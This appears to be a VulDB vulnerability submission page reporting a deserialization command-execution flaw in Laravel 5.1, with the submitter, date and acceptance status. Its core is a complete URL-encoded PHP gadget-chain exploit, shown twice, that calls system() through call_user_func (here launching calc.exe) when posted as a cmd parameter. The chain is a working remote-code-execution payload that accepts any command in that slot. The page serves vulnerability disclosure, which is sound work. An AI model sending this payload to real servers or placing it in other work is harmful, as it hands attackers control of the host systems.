| Título | Laravel exists command execution |
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| Descrição | laravel 5.1 exists deserialization command execution，
The laravel version number is 5.1.
This vulnerability can be used to obtain host system permissions.
The details of the vulnerability are at the following link, which is different from the chain circulating on the Internet
exp:
O%3A42%3A%22SebastianBergmann%5CRecursionContext%5CContext%22%3A1%3A%7Bs%3A50%3A%22%00SebastianBergmann%5CRecursionContext%5CContext%00arrays%22%3BO%3A42%3A%22Illuminate%5CView%5CInvokableComponentVariable%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00callable%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A28%3A%22Illuminate%5CAuth%5CRequestGuard%22%3A3%3A%7Bs%3A11%3A%22%00%2A%00provider%22%3Bs%3A8%3A%22calc.exe%22%3Bs%3A11%3A%22%00%2A%00callback%22%3Bs%3A14%3A%22call_user_func%22%3Bs%3A10%3A%22%00%2A%00request%22%3Bs%3A6%3A%22system%22%3B%7Di%3A1%3Bs%3A4%3A%22user%22%3B%7D%7D%7D
post pass parameter cmd parameter
cmd=O%3A42%3A%22SebastianBergmann%5CRecursionContext%5CContext%22%3A1%3A%7Bs%3A50%3A%22%00SebastianBergmann%5CRecursionContext%5CContext%00arrays%22%3BO%3A42%3A%22Illuminate%5CView%5CInvokableComponentVariable%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00callable%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A28%3A%22Illuminate%5CAuth%5CRequestGuard%22%3A3%3A%7Bs%3A11%3A%22%00%2A%00provider%22%3Bs%3A8%3A%22calc.exe%22%3Bs%3A11%3A%22%00%2A%00callback%22%3Bs%3A14%3A%22call_user_func%22%3Bs%3A10%3A%22%00%2A%00request%22%3Bs%3A6%3A%22system%22%3B%7Di%3A1%3Bs%3A4%3A%22user%22%3B%7D%7D%7D |
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| Fonte | ⚠️ https://github.com/beicheng-maker/vulns/issues/2 |
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| Utilizador | F10wers13eiCheng (UID 30725) |
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| Submissão | 17/08/2022 05h22 (há 4 anos) |
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| Moderação | 17/08/2022 06h46 (1 hour later) |
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| Estado | Aceite |
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| Entrada VulDB | 206501 [laravel 5.1 Elevação de Privilégios] |
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| Pontos | 20 |
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